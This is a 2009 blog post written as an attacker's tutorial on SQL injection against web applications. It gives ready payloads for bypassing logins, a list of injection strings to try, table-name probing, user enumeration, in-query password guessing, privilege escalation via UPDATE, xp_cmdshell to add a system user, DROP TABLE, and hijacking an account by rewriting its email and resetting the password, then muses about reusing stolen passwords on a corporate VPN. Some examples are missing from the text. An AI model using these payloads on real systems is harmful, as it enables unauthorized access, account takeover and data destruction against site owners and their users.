Tuesday, April 14, 2009

SQL Injection

What is SQL Injection


SQL injection refers to the act of someone inserting a MySQL statement to be run on your database without your knowledge. Injection usually occurs when you ask a user for input, like their name, and instead of a name they give you a MySQL statement that you will unknowingly run on your database.

Its a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, from web page the user gets the usernaem and password and make SQL query to the database to check if a user has valid name and password. With SQL injection, it is possible for us to send crafted username ans/or password field tha will change the SQL query and thus grant us something else.


What Do you need?

Any web browser.


What you should look for?

Try to look for pages that allow you to submit data, i.e: login page,

search page, feedback, etc.


Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code.


You may find something like this in some HTML codes:




Everything between the

and
have potential parameters that might be useful (exploit wise).


What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages.

Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10



SQL INJECTION ATTACKS

1. Hacking the querystring

a) While By Passing Login,



The login page had a traditional username-and-password form, but also an email-me-my-password link;Well, lots of people thinks that only the valid user can log in inside the system but that’s not true.Well anybody can log in to that website with a simple trick.

Let’s look at the usual query for user login in PHP,


$sql=”SELECT * FROM tbl_user WHERE username= ‘”.$_POST['username'].”‘ AND password= ‘”.$_POST['password'].”‘”;
$result=mysql_query($sql);

Let’s suppose that a intruder injected x’ OR ‘x’='x in the username field and x’ OR ‘x’='x in the password field.Then the final query of fetching the user will become like this,

SELECT * FROM tbl_user WHERE username=’x’ OR ‘x’='x’ AND password=’x’ OR ‘x’='x’;

Well you can see that query is always true and returns the row from the database. As the result , the intruder could log in to the system.



b)Through URL's,

Other than bypassing login, it is also possible to view extra information that is not normally available.

For example consider a asp page that will link you to another page with the following URL:
http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable.

The SQL statement should become:
SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--

Now, our category equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:
SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not.

A double dash "--" tell MYSQL server ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a

The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a


2.Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.


A standalone query of

SELECT COUNT(*) FROM tabname

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:


SELECT email, passwd, login_id, full_name
FROM table
WHERE
email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.


SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' AND members.email IS NULL; --';

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.


3.Finding some users

At this point we have a partial idea of the structure of the members table. We'd like to get some user names to work with, preferably those likely to have access to more data.


The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.


The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.


We can do the query on email name or full name (or presumably other information), each time putting in the %LIKE supports: wildcards that


SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

4. Password guessing and resetting Password

a)Password Guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.


SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'bob@example.com' AND passwd = 'hello123';


This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.


b)Resetting Password (to gain more privileges )


"UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';"


But a malicious user sumbits the value ' or uid like'%admin%'; -- to $uid to change the admin's password, or simply sets $pwd to "hehehe', admin='yes', trusted=100 " (with a trailing space) to gain more privileges. Then, the query will be twisted:



// $uid == ' or uid like'%admin%'; --
"UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --";

// $pwd == "hehehe', admin='yes', trusted=100 "
"UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE
...;"
;

5.Remote execution with SQL injection

"SELECT * FROM products WHERE id LIKE '%$prod%'";

If attacker submits the value a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- to $prod, then the query will be:


"SELECT * FROM products
WHERE id LIKE '%a%'
exec master..xp_cmdshell 'net user test testpass /ADD'--";

MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.


Note: Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

6.Dropping a table

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.

The most drastic example is:


SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --'; -- Boom!


The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

7.Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:


SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

8.Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:


SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
UPDATE members
SET email = 'steve@unixwiz.net'
WHERE email = 'bob@example.com';


After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.

We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:


Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.


We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.

We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.




2 comments:

Anonymous said...
This comment has been removed by the author.
Anonymous said...

test